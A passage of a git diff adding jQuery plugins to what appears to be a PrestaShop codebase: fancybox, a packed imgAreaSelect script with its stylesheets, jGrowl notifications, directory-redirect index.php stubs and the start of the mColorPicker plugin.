wrap.hide(); + + $.event.trigger('fancybox-cleanup'); + + content.empty(); + + currentOpts.onClosed(currentArray, currentIndex, currentOpts); + + currentArray = selectedOpts = []; + currentIndex = selectedIndex = 0; + currentOpts = selectedOpts = {}; + + busy = false; + } + + if (currentOpts.transitionOut == 'elastic') { + start_pos = _get_zoom_from(); + + var pos = wrap.position(); + + final_pos = { + top : pos.top , + left : pos.left, + width : wrap.width(), + height : wrap.height() + }; + + if (currentOpts.opacity) { + final_pos.opacity = 1; + } + + title.empty().hide(); + + fx.prop = 1; + + $(fx).animate({ prop: 0 }, { + duration : currentOpts.speedOut, + easing : currentOpts.easingOut, + step : _draw, + complete : _cleanup + }); + + } else { + wrap.fadeOut( currentOpts.transitionOut == 'none' ? 0 : currentOpts.speedOut, _cleanup); + } + }; + + $.fancybox.resize = function() { + if (overlay.is(':visible')) { + overlay.css('height', $(document).height()); + } + + $.fancybox.center(true); + }; + + $.fancybox.center = function() { + var view, align; + + if (busy) { + return; + } + + align = arguments[0] === true ? 1 : 0; + view = _get_viewport(); + + if (!align && (wrap.width() > view[0] || wrap.height() > view[1])) { + return; + } + + wrap + .stop() + .animate({ + 'top' : parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - content.height() - 40) * 0.5) - currentOpts.padding)), + 'left' : parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - content.width() - 40) * 0.5) - currentOpts.padding)) + }, typeof arguments[0] == 'number' ? arguments[0] : 200); + }; + + $.fancybox.init = function() { + if ($("#fancybox-wrap").length) { + return; + } + + $('body').append( + tmp = $('
    '), + loading = $('
    '), + overlay = $('
    '), + wrap = $('
    ') + ); + + outer = $('
    ') + .append('
    ') + .appendTo( wrap ); + + outer.append( + content = $('
    '), + close = $(''), + title = $('
    '), + + nav_left = $(''), + nav_right = $('') + ); + + close.click($.fancybox.close); + loading.click($.fancybox.cancel); + + nav_left.click(function(e) { + e.preventDefault(); + $.fancybox.prev(); + }); + + nav_right.click(function(e) { + e.preventDefault(); + $.fancybox.next(); + }); + + if ($.fn.mousewheel) { + wrap.bind('mousewheel.fb', function(e, delta) { + if (busy) { + e.preventDefault(); + + } else if ($(e.target).get(0).clientHeight == 0 || $(e.target).get(0).scrollHeight === $(e.target).get(0).clientHeight) { + e.preventDefault(); + $.fancybox[ delta > 0 ? 'prev' : 'next'](); + } + }); + } + + if (!$.support.opacity) { + wrap.addClass('fancybox-ie'); + } + + if (isIE6) { + loading.addClass('fancybox-ie6'); + wrap.addClass('fancybox-ie6'); + + $('').prependTo(outer); + } + }; + + $.fn.fancybox.defaults = { + padding : 10, + margin : 40, + opacity : false, + modal : false, + cyclic : false, + scrolling : 'auto', // 'auto', 'yes' or 'no' + + width : 560, + height : 340, + + autoScale : true, + autoDimensions : true, + centerOnScroll : false, + + ajax : {}, + swf : { wmode: 'transparent' }, + + hideOnOverlayClick : false, + hideOnContentClick : false, + + overlayShow : true, + overlayOpacity : 0.7, + overlayColor : '#777', + + titleShow : true, + titlePosition : 'float', // 'float', 'outside', 'inside' or 'over' + titleFormat : null, + titleFromAlt : false, + + transitionIn : 'fade', // 'elastic', 'fade' or 'none' + transitionOut : 'fade', // 'elastic', 'fade' or 'none' + + speedIn : 300, + speedOut : 300, + + changeSpeed : 300, + changeFade : 'fast', + + easingIn : 'swing', + easingOut : 'swing', + + showCloseButton : true, + showNavArrows : true, + enableEscapeButton : true, + enableKeyboardNav : true, + + onStart : function(){}, + onCancel : function(){}, + onComplete : function(){}, + onCleanup : function(){}, + onClosed : function(){}, + onError : function(){} + }; + + $(document).ready(function() { + $.fancybox.init(); + }); + +})(jQuery); \ No newline at end of file diff --git a/js/jquery/plugins/imgareaselect/border-anim-h.gif b/js/jquery/plugins/imgareaselect/border-anim-h.gif new file mode 100755 index 0000000..ec9f5da Binary files /dev/null and b/js/jquery/plugins/imgareaselect/border-anim-h.gif differ diff --git a/js/jquery/plugins/imgareaselect/border-anim-v.gif b/js/jquery/plugins/imgareaselect/border-anim-v.gif new file mode 100755 index 0000000..331cc90 Binary files /dev/null and b/js/jquery/plugins/imgareaselect/border-anim-v.gif differ diff --git a/js/jquery/plugins/imgareaselect/border-h.gif b/js/jquery/plugins/imgareaselect/border-h.gif new file mode 100755 index 0000000..a2aa5b0 Binary files /dev/null and b/js/jquery/plugins/imgareaselect/border-h.gif differ diff --git a/js/jquery/plugins/imgareaselect/border-v.gif b/js/jquery/plugins/imgareaselect/border-v.gif new file mode 100755 index 0000000..4bfd555 Binary files /dev/null and b/js/jquery/plugins/imgareaselect/border-v.gif differ diff --git a/js/jquery/plugins/imgareaselect/imgareaselect-animated.css b/js/jquery/plugins/imgareaselect/imgareaselect-animated.css new file mode 100755 index 0000000..82d3d42 --- /dev/null +++ b/js/jquery/plugins/imgareaselect/imgareaselect-animated.css @@ -0,0 +1,41 @@ +/* + * imgAreaSelect animated border style + */ + +.imgareaselect-border1 { + background: url(border-anim-v.gif) repeat-y left top; +} + +.imgareaselect-border2 { + background: url(border-anim-h.gif) repeat-x left top; +} + +.imgareaselect-border3 { + background: url(border-anim-v.gif) repeat-y right top; +} + +.imgareaselect-border4 { + background: url(border-anim-h.gif) repeat-x left bottom; +} + +.imgareaselect-border1, .imgareaselect-border2, +.imgareaselect-border3, .imgareaselect-border4 { + opacity: 0.5; + filter: alpha(opacity=50); +} + +.imgareaselect-handle { + background-color: #fff; + border: solid 1px #000; + opacity: 0.5; + filter: alpha(opacity=50); +} + +.imgareaselect-outer { + background-color: #000; + opacity: 0.5; + filter: alpha(opacity=50); +} + +.imgareaselect-selection { +} \ No newline at end of file diff --git a/js/jquery/plugins/imgareaselect/imgareaselect-deprecated.css b/js/jquery/plugins/imgareaselect/imgareaselect-deprecated.css new file mode 100755 index 0000000..e2809cc --- /dev/null +++ b/js/jquery/plugins/imgareaselect/imgareaselect-deprecated.css @@ -0,0 +1,36 @@ +/* + * imgAreaSelect style to be used with deprecated options + */ + +.imgareaselect-border1, .imgareaselect-border2, +.imgareaselect-border3, .imgareaselect-border4 { + opacity: 0.5; + filter: alpha(opacity=50); +} + +.imgareaselect-border1 { + border: solid 1px #000; +} + +.imgareaselect-border2 { + border: dashed 1px #fff; +} + +.imgareaselect-handle { + background-color: #fff; + border: solid 1px #000; + opacity: 0.5; + filter: alpha(opacity=50); +} + +.imgareaselect-outer { + background-color: #000; + opacity: 0.4; + filter: alpha(opacity=40); +} + +.imgareaselect-selection { + background-color: #fff; + opacity: 0; + filter: alpha(opacity=0); +} diff --git a/js/jquery/plugins/imgareaselect/index.php b/js/jquery/plugins/imgareaselect/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/js/jquery/plugins/imgareaselect/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/plugins/imgareaselect/jquery.imgareaselect.css b/js/jquery/plugins/imgareaselect/jquery.imgareaselect.css new file mode 100755 index 0000000..18bf07b --- /dev/null +++ b/js/jquery/plugins/imgareaselect/jquery.imgareaselect.css @@ -0,0 +1,41 @@ +/* + * imgAreaSelect default style + */ + +.imgareaselect-border1 { + background: url(border-v.gif) repeat-y left top; +} + +.imgareaselect-border2 { + background: url(border-h.gif) repeat-x left top; +} + +.imgareaselect-border3 { + background: url(border-v.gif) repeat-y right top; +} + +.imgareaselect-border4 { + background: url(border-h.gif) repeat-x left bottom; +} + +.imgareaselect-border1, .imgareaselect-border2, +.imgareaselect-border3, .imgareaselect-border4 { + opacity: 0.5; + filter: alpha(opacity=50); +} + +.imgareaselect-handle { + background-color: #fff; + border: solid 1px #000; + opacity: 0.5; + filter: alpha(opacity=50); +} + +.imgareaselect-outer { + background-color: #000; + opacity: 0.5; + filter: alpha(opacity=50); +} + +.imgareaselect-selection { +} \ No newline at end of file diff --git a/js/jquery/plugins/imgareaselect/jquery.imgareaselect.js b/js/jquery/plugins/imgareaselect/jquery.imgareaselect.js new file mode 100755 index 0000000..01c1d10 --- /dev/null +++ b/js/jquery/plugins/imgareaselect/jquery.imgareaselect.js @@ -0,0 +1 @@ +eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(m($){1o W=2o.4F,F=2o.4E,M=2o.4D,G=2o.4C;m S(){v $("<4B/>")};$.R=m(X,b){1o L=$(X),2x,A=S(),1k=S(),I=S().u(S()).u(S()).u(S()),B=S().u(S()).u(S()).u(S()),E=$([]),1D,H,q,1g,12,U,1n,1f,1b=0,1B="1A",2e,2d,25,24,1M=10,N,P,1H,c,f,l,j,g={c:0,f:0,l:0,j:0,C:0,J:0},$p,d,i,o,w,h,2k;m 11(x){v x+1g.D-1f.D};m 1m(y){v y+1g.q-1f.q};m 19(x){v x-1g.D+1f.D};m 18(y){v y-1g.q+1f.q};m 1y(3G){v 3G.4A-1f.D};m 1x(3F){v 3F.4z-1f.q};m 14(2W){1o 1i=2W||25,1h=2W||24;v{c:G(g.c*1i),f:G(g.f*1h),l:G(g.l*1i),j:G(g.j*1h),C:G(g.l*1i)-G(g.c*1i),J:G(g.j*1h)-G(g.f*1h)}};m 2t(c,f,l,j,2V){1o 1i=2V||25,1h=2V||24;g={c:G(c/1i),f:G(f/1h),l:G(l/1i),j:G(j/1h)};g.C=(l=11(g.l))-(c=11(g.c));g.J=(j=11(g.j))-(f=11(g.f))};m 1c(){a(!L.C()){v}1g={D:G(L.2n().D),q:G(L.2n().q)};12=L.C();U=L.J();a($().4y=="1.3.2"&&$.1l.33&&1B=="26"){1g.q+=F(V.3E.2l,$("1r").2l());1g.D+=F(V.3E.2m,$("1r").2m())}1f=$.4x(1n.r("1p"),["1A","4w"])+1?{D:G(1n.2n().D)-1n.2m(),q:G(1n.2n().q)-1n.2l()}:1B=="26"?{D:$(V).2m(),q:$(V).2l()}:{D:0,q:0};H=11(0);q=1m(0)};m 1s(3B){a(!1H){v}A.r({D:11(g.c),q:1m(g.f)}).u(1k).C(w=g.C).J(h=g.J);1k.u(I).u(E).r({D:0,q:0});I.C(F(w-I.2U()+I.3z(),0)).J(F(h-I.3D()+I.4v(),0));$(B[0]).r({D:H,q:q,C:g.c,J:U});$(B[1]).r({D:H+g.c,q:q,C:w,J:g.f});$(B[2]).r({D:H+g.l,q:q,C:12-g.l,J:U});$(B[3]).r({D:H+g.c,q:q+g.j,C:w,J:U-g.j});w-=E.2U();h-=E.3D();2H(E.3n){15 8:$(E[4]).r({D:w/2});$(E[5]).r({D:w,q:h/2});$(E[6]).r({D:w/2,q:h});$(E[7]).r({q:h/2});15 4:E.3C(1,3).r({D:w});E.3C(2,4).r({q:h})}a(3B!==Y){a($.R.1Y!=2L){$(V).T($.R.1Y,$.R.3A)}a(b.1J){$(V)[$.R.1Y]($.R.3A=2L)}}a($.1l.1X&&I.2U()-I.3z()==2){I.r("3y",0);3t(m(){I.r("3y","4u")},0)}};m 1Z(2T,2p){b.1G?2T.4t(b.1G,2p):2T.1t()};m 1d(2S){1o x=19(1y(2S))-g.c,y=18(1x(2S))-g.f;a(!2k){1c();2k=1a;A.1j("4s",m(){2k=Y})}N="";a(b.2r){a(y<=1M){N="n"}Z{a(y>=g.J-1M){N="s"}}a(x<=1M){N+="w"}Z{a(x>=g.C-1M){N+="e"}}}A.r("2R",N?N+"-17":b.1U?"4r":"");a(1D){1D.4q()}};m 2O(4p){$("1r").r("2R","");a(b.4o||g.C*g.J==0){1Z(A.u(B),m(){$(Q).1t()})}b.1R(X,14());$(V).T("O",2f);A.O(1d)};m 2v(1L){a(1L.2K!=1){v Y}1c();a(N){$("1r").r("2R",N+"-17");c=11(g[/w/.2h(N)?"l":"c"]);f=1m(g[/n/.2h(N)?"j":"f"]);$(V).O(2f).1j("1K",2O);A.T("O",1d)}Z{a(b.1U){2e=H+g.c-1y(1L);2d=q+g.f-1x(1L);A.T("O",1d);$(V).O(2P).1j("1K",m(){b.1R(X,14());$(V).T("O",2P);A.O(1d)})}Z{L.1F(1L)}}v Y};m 29(){l=F(H,M(H+12,c+W(j-f)*P*(l>c||-1)));j=G(F(q,M(q+U,f+W(l-c)/P*(j>f||-1))));l=G(l)};m 2a(){j=F(q,M(q+U,f+W(l-c)/P*(j>f||-1)));l=G(F(H,M(H+12,c+W(j-f)*P*(l>c||-1))));j=G(j)};m 28(){a(W(l-c)H+12){c=H+12-b.2j}}}a(W(j-f)q+U){f=q+U-b.2i}}}l=F(H,M(l,H+12));j=F(q,M(j,q+U));a(P){a(W(l-c)/P>W(j-f)){2a()}Z{29()}}a(W(l-c)>b.3x){l=c-b.3x*(lb.3w){j=f-b.3w*(j1b){1b=$p.r("z-2E")}a($p.r("1p")=="26"){1B="26"}$p=$p.1T()}a(!1u(b.1q)){1b=b.1q}a(K.2D!=3l){E.4h();E=$([]);i=K.2D?K.2D=="4g"?4:8:0;3m(i--){E=E.u(S())}E.21(b.1C+"-4f").r({1p:"1A",4e:0,1q:1b+1||1});a(!4d(E.r("C"))){E.C(5).J(5)}a(o=b.2C){E.r({2C:o,2z:"3h"})}1I(E,{3i:"2B-20",3g:"2A-20",3j:"1e"})}25=b.4c/12||1;24=b.4b/U||1;a(K.c!=3l){2t(K.c,K.f,K.l,K.j);K.2y=!K.1t}a(K.1J){b.1J=$.1V({23:1,22:"17"},K.1J)}B.21(b.1C+"-4a");1k.21(b.1C+"-49");3k(i=0;i++<4;){$(I[i-1]).21(b.1C+"-2B"+i)}1I(1k,{48:"2A-20",47:"1e"});1I(I,{3j:"1e",2C:"2B-C"});1I(B,{46:"2A-20",45:"1e"});a(o=b.3i){$(I[0]).r({2z:"3h",3f:o})}a(o=b.3g){$(I[1]).r({2z:"44",3f:o})}A.3e(1k.u(I).u(E).u(1D));a($.1l.1X){a(o=B.r("3d").3c(/1e=([0-9]+)/)){B.r("1e",o[1]/1W)}a(o=I.r("3d").3c(/1e=([0-9]+)/)){I.r("1e",o[1]/1W)}}a(K.1t){1Z(A.u(B))}Z{a(K.2y&&2x){1H=1a;A.u(B).2w(b.1G||0);1s()}}P=(d=(b.43||"").42(/:/))[0]/d[1];a(b.1P||b.1z===Y){A.T("O",1d).T("1F",2v);L.u(B).T("1F",2u);$(3b).T("17",1E);L.u(L.3a()).T("36",1E)}Z{a(b.1z||b.1P===Y){a(b.2r||b.1U){A.O(1d).1F(2v)}a(!b.41){L.u(B).1F(2u)}$(3b).17(1E);L.u(L.3a()).36(1E)}}b.1z=b.1P=1O};Q.3Z=m(){v b};Q.2X=2s;Q.3Y=14;Q.3X=2t;Q.3W=m 35(34){1c();1s(34);c=11(g.c);f=1m(g.f);l=11(g.l);j=1m(g.j)};a($.1l.1X){L.3V("3U","3T")}$.R.1Y=$.1l.1X||$.1l.33?"3S":"3R";a($.1l.3Q){1D=S().r({C:"1W%",J:"1W%",1p:"1A",1q:1b+2||2})}2s(b=$.1V({1C:"3P",1U:1a,2r:1a,1T:"1r",32:m(){},31:m(){},1S:m(){},1R:m(){}},b));A.u(B).r({30:"2Z",1p:1B,3O:"2Z",1q:1b||"0"});A.r({1q:1b+2||2});1k.u(I).r({1p:"1A"});X.2Y||X.3N=="2Y"||!L.1Q("3M")?2q():L.1j("3L",2q)};$.2p.R=m(16){16=16||{};Q.3K(m(){a($(Q).1N("R")){$(Q).1N("R").2X(16)}Z{a(16.1z===1O&&16.1P===1O){16.1z=1a}$(Q).1N("R",3J $.R(Q,16))}});a(16.3I){v $(Q).1N("R")}v Q}})(3H);',62,290,'||||||||||if|_7|x1|||y1|_20|||y2||x2|function||||top|css|||add|return|||||_a|_d|width|left|_e|_2|_4|_10|_c|height|_4d|_8|_3|_1d|mousemove|_1e|this|imgAreaSelect|_5|unbind|_13|document|_1|_6|false|else||_22|_12|_48|_28|case|_4f|resize|_25|_24|true|_16|_2c|_32|opacity|_15|_11|sy|sx|one|_b|browser|_23|_14|var|position|zIndex|body|_2d|hide|isNaN|break|_3e|evY|evX|enable|absolute|_17|classPrefix|_f|_46|mousedown|fadeSpeed|_1f|_49|keys|mouseup|_38|_1c|data|undefined|disable|is|onSelectEnd|onSelectChange|parent|movable|extend|100|msie|keyPress|_30|color|addClass|ctrl|shift|_1b|_1a|fixed|option|_3c|_3a|_3b|altKey|_45|_19|_18|_36|_41|test|minHeight|minWidth|_21|scrollTop|scrollLeft|offset|Math|fn|_47|resizable|_4c|_2a|_44|_37|fadeIn|_9|show|borderStyle|background|border|borderWidth|handles|index|_4b|key|switch|alt|arrows|which|_2f|_43|_42|_34|_39|_3d|cursor|_33|_31|outerWidth|_2b|_29|setOptions|complete|hidden|visibility|onSelectStart|onInit|safari|_4e|doUpdate|scroll||||parents|window|match|filter|append|borderColor|borderColor2|solid|borderColor1|borderOpacity|for|null|while|length|_4a|default|originalEvent|ctrlKey|shiftKey|setTimeout|_40|_3f|maxHeight|maxWidth|margin|innerWidth|onKeyPress|_2e|slice|outerHeight|documentElement|_27|_26|jQuery|instance|new|each|load|img|readyState|overflow|imgareaselect|opera|keypress|keydown|on|unselectable|attr|update|setSelection|getSelection|getOptions||persistent|split|aspectRatio|dashed|outerOpacity|outerColor|selectionOpacity|selectionColor|selection|outer|imageHeight|imageWidth|parseInt|fontSize|handle|corners|remove|in|keyCode|animated|visible|not|preventDefault|autoHide|_35|toggle|move|mouseout|fadeOut|auto|innerHeight|relative|inArray|jquery|pageY|pageX|div|round|min|max|abs'.split('|'))) diff --git a/js/jquery/plugins/index.php b/js/jquery/plugins/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/jquery/plugins/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/plugins/jgrowl/index.php b/js/jquery/plugins/jgrowl/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/jquery/plugins/jgrowl/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/plugins/jgrowl/jquery.jgrowl.css b/js/jquery/plugins/jgrowl/jquery.jgrowl.css new file mode 100755 index 0000000..02e0410 --- /dev/null +++ b/js/jquery/plugins/jgrowl/jquery.jgrowl.css @@ -0,0 +1,127 @@ + +div.jGrowl { + padding: 10px; + z-index: 9999; +} + +/** Special IE6 Style Positioning **/ +div.ie6 { + position: absolute; +} + +div.ie6.top-right { + right: auto; + bottom: auto; + left: expression( ( 0 - jGrowl.offsetWidth + ( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth ) + ( ignoreMe2 = document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft ) ) + 'px' ); + top: expression( ( 0 + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop ) ) + 'px' ); +} + +div.ie6.top-left { + left: expression( ( 0 + ( ignoreMe2 = document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft ) ) + 'px' ); + top: expression( ( 0 + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop ) ) + 'px' ); +} + +div.ie6.bottom-right { + left: expression( ( 0 - jGrowl.offsetWidth + ( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth ) + ( ignoreMe2 = document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft ) ) + 'px' ); + top: expression( ( 0 - jGrowl.offsetHeight + ( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight ) + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop ) ) + 'px' ); +} + +div.ie6.bottom-left { + left: expression( ( 0 + ( ignoreMe2 = document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft ) ) + 'px' ); + top: expression( ( 0 - jGrowl.offsetHeight + ( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight ) + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop ) ) + 'px' ); +} + +div.ie6.center { + left: expression( ( 0 + ( ignoreMe2 = document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft ) ) + 'px' ); + top: expression( ( 0 + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop ) ) + 'px' ); + width: 100%; +} + +/** Normal Style Positions **/ +body > div.jGrowl { + position: fixed; +} + +body > div.jGrowl.top-left { + left: 0px; + top: 0px; +} + +body > div.jGrowl.top-right { + right: 0px; + top: 0px; +} + +body > div.jGrowl.bottom-left { + left: 0px; + bottom: 0px; +} + +body > div.jGrowl.bottom-right { + right: 0px; + bottom: 0px; +} + +body > div.jGrowl.center { + top: 0px; + width: 50%; + left: 25%; +} + +/** Cross Browser Styling **/ +div.center div.jGrowl-notification, div.center div.jGrowl-closer { + margin-left: auto; + margin-right: auto; +} + +div.jGrowl div.jGrowl-notification, div.jGrowl div.jGrowl-closer { + background-color: #000; + color: #fff; + opacity: .85; + filter: alpha(opacity = 85); + zoom: 1; + width: 235px; + padding: 10px; + margin-top: 5px; + margin-bottom: 5px; + font-family: Tahoma, Arial, Helvetica, sans-serif; + font-size: 12px; + text-align: left; + display: none; + -moz-border-radius: 5px; + -webkit-border-radius: 5px; +} + +div.jGrowl div.jGrowl-notification { + min-height: 40px; +} + +div.jGrowl div.jGrowl-notification div.header { + font-weight: bold; + font-size: 10px; +} + +div.jGrowl div.jGrowl-notification div.close { + z-index: 99; + float: right; + font-weight: bold; + font-size: 12px; + cursor: pointer; +} + +div.jGrowl div.jGrowl-closer { + height: 15px; + padding-top: 4px; + padding-bottom: 4px; + cursor: pointer; + font-size: 11px; + font-weight: bold; + text-align: center; +} + +/** Hide jGrowl when printing **/ +@media print { + div.jGrowl { + display: none; + } +} \ No newline at end of file diff --git a/js/jquery/plugins/jgrowl/jquery.jgrowl.js b/js/jquery/plugins/jgrowl/jquery.jgrowl.js new file mode 100755 index 0000000..981438e --- /dev/null +++ b/js/jquery/plugins/jgrowl/jquery.jgrowl.js @@ -0,0 +1,4 @@ + +(function($){$.jGrowl=function(m,o){if($('#jGrowl').size()==0)$('
    ').addClass($.jGrowl.defaults.position).appendTo('body');$('#jGrowl').jGrowl(m,o);};$.fn.jGrowl=function(m,o){if($.isFunction(this.each)){var args=arguments;return this.each(function(){var self=this;if($(this).data('jGrowl.instance')==undefined){$(this).data('jGrowl.instance',$.extend(new $.fn.jGrowl(),{notifications:[],element:null,interval:null}));$(this).data('jGrowl.instance').startup(this);} +if($.isFunction($(this).data('jGrowl.instance')[m])){$(this).data('jGrowl.instance')[m].apply($(this).data('jGrowl.instance'),$.makeArray(args).slice(1));}else{$(this).data('jGrowl.instance').create(m,o);}});};};$.extend($.fn.jGrowl.prototype,{defaults:{pool:0,header:'',group:'',sticky:false,position:'top-right',glue:'after',theme:'default',corners:'10px',check:250,life:3000,speed:'normal',easing:'swing',closer:true,closeTemplate:'×',closerTemplate:'
    [ close all ]
    ',log:function(e,m,o){},beforeOpen:function(e,m,o){},open:function(e,m,o){},beforeClose:function(e,m,o){},close:function(e,m,o){},animateOpen:{opacity:'show'},animateClose:{opacity:'hide'}},notifications:[],element:null,interval:null,create:function(message,o){var o=$.extend({},this.defaults,o);this.notifications[this.notifications.length]={message:message,options:o};o.log.apply(this.element,[this.element,message,o]);},render:function(notification){var self=this;var message=notification.message;var o=notification.options;var notification=$('
    '+o.closeTemplate+'
    '+o.header+'
    '+message+'
    ').data("jGrowl",o).addClass(o.theme).children('div.close').bind("click.jGrowl",function(){$(this).parent().trigger('jGrowl.close');}).parent();(o.glue=='after')?$('div.jGrowl-notification:last',this.element).after(notification):$('div.jGrowl-notification:first',this.element).before(notification);$(notification).bind("mouseover.jGrowl",function(){$(this).data("jGrowl").pause=true;}).bind("mouseout.jGrowl",function(){$(this).data("jGrowl").pause=false;}).bind('jGrowl.beforeOpen',function(){o.beforeOpen.apply(self.element,[self.element,message,o]);}).bind('jGrowl.open',function(){o.open.apply(self.element,[self.element,message,o]);}).bind('jGrowl.beforeClose',function(){o.beforeClose.apply(self.element,[self.element,message,o]);}).bind('jGrowl.close',function(){$(this).data('jGrowl').pause=true;$(this).trigger('jGrowl.beforeClose').animate(o.animateClose,o.speed,o.easing,function(){$(this).remove();o.close.apply(self.element,[self.element,message,o]);});}).trigger('jGrowl.beforeOpen').animate(o.animateOpen,o.speed,o.easing,function(){$(this).data("jGrowl").created=new Date();}).trigger('jGrowl.open');if($.fn.corner!=undefined)$(notification).corner(o.corners);if($('div.jGrowl-notification:parent',this.element).size()>1&&$('div.jGrowl-closer',this.element).size()==0&&this.defaults.closer!=false){$(this.defaults.closerTemplate).addClass('jGrowl-closer').addClass(this.defaults.theme).appendTo(this.element).animate(this.defaults.animateOpen,this.defaults.speed,this.defaults.easing).bind("click.jGrowl",function(){$(this).siblings().children('div.close').trigger("click.jGrowl");if($.isFunction(self.defaults.closer))self.defaults.closer.apply($(this).parent()[0],[$(this).parent()[0]]);});};},update:function(){$(this.element).find('div.jGrowl-notification:parent').each(function(){if($(this).data("jGrowl")!=undefined&&$(this).data("jGrowl").created!=undefined&&($(this).data("jGrowl").created.getTime()+$(this).data("jGrowl").life)<(new Date()).getTime()&&$(this).data("jGrowl").sticky!=true&&($(this).data("jGrowl").pause==undefined||$(this).data("jGrowl").pause!=true)){$(this).trigger('jGrowl.close');}});if(this.notifications.length>0&&(this.defaults.pool==0||$(this.element).find('div.jGrowl-notification:parent').size()
    ');this.interval=setInterval(function(){$(e).data('jGrowl.instance').update();},this.defaults.check);if($.browser.msie&&parseInt($.browser.version)<7&&!window["XMLHttpRequest"])$(this.element).addClass('ie6');},shutdown:function(){$(this.element).removeClass('jGrowl').find('div.jGrowl-notification').remove();clearInterval(this.interval);}});$.jGrowl.defaults=$.fn.jGrowl.prototype.defaults;})(jQuery); \ No newline at end of file diff --git a/js/jquery/plugins/jquery.colorpicker.js b/js/jquery/plugins/jquery.colorpicker.js new file mode 100755 index 0000000..b2f0c84 --- /dev/null +++ b/js/jquery/plugins/jquery.colorpicker.js @@ -0,0 +1,563 @@ +/* + mColorPicker + Version: 1.0 r34 + + Copyright (c) 2010 Meta100 LLC. + http://www.meta100.com/ + + Licensed under the MIT license + http://www.opensource.org/licenses/mit-license.php +*/ + +// After this script loads set: +// $.fn.mColorPicker.init.replace = '.myclass' +// to have this script apply to input.myclass, +// instead of the default input[type=color] +// To turn of automatic operation and run manually set: +// $.fn.mColorPicker.init.replace = false +// To use manually call like any other jQuery plugin +// $('input.foo').mColorPicker({options}) +// options: +// imageFolder - Change to move image location. +// swatches - Initial colors in the swatch, must an array of 10 colors. +// init: +// $.fn.mColorPicker.init.enhancedSwatches - Turn of saving and loading of swatch to cookies. +// $.fn.mColorPicker.init.allowTransparency - Turn off transperancy as a color option. +// $.fn.mColorPicker.init.showLogo - Turn on/off the meta100 logo (You don't really want to turn it off, do you?). + +(function($){ + + var $o; + + $.fn.mColorPicker = function(options) { + + $o = $.extend($.fn.mColorPicker.defaults, options); + + if ($o.swatches.length < 10) $o.swatches = $.fn.mColorPicker.defaults.swatches + if ($("div#mColorPicker").length < 1) $.fn.mColorPicker.drawPicker(); + + if ($('#css_disabled_color_picker').length < 1) $('head').prepend(''); + + $('.mColorPicker').live('keyup', function () { + + try { + + $(this).css({ + 'background-color': $(this).val() + }).css({ + 'color': $.fn.mColorPicker.textColor($(this).css('background-color')) + }).trigger('change'); + } catch (r) {} + }); + + $('.mColorPickerTrigger').live('click', function () { + + $.fn.mColorPicker.colorShow($(this).attr('id').replace('icp_', '')); + }); + + this.each(function () { + + $.fn.mColorPicker.drawPickerTriggers($(this)); + }); + + return this; + }; + + $.fn.mColorPicker.currentColor = false; + $.fn.mColorPicker.currentValue = false; + $.fn.mColorPicker.color = false; + + $.fn.mColorPicker.init = { + replace: '[type=color]', + index: 0, + enhancedSwatches: true, + allowTransparency: false, + checkRedraw: 'DOMUpdated', // Change to 'ajaxSuccess' for ajax only or false if not needed + liveEvents: false, + showLogo: false + }; + + $.fn.mColorPicker.defaults = { + imageFolder: '../img/admin/', + swatches: [ + "#ffffff", + "#ffff00", + "#00ff00", + "#00ffff", + "#0000ff", + "#ff00ff", + "#ff0000", + "#4c2b11", + "#3b3b3b", + "#000000" + ] + }; + + $.fn.mColorPicker.liveEvents = function() { + + $.fn.mColorPicker.init.liveEvents = true; + + if ($.fn.mColorPicker.init.checkRedraw && 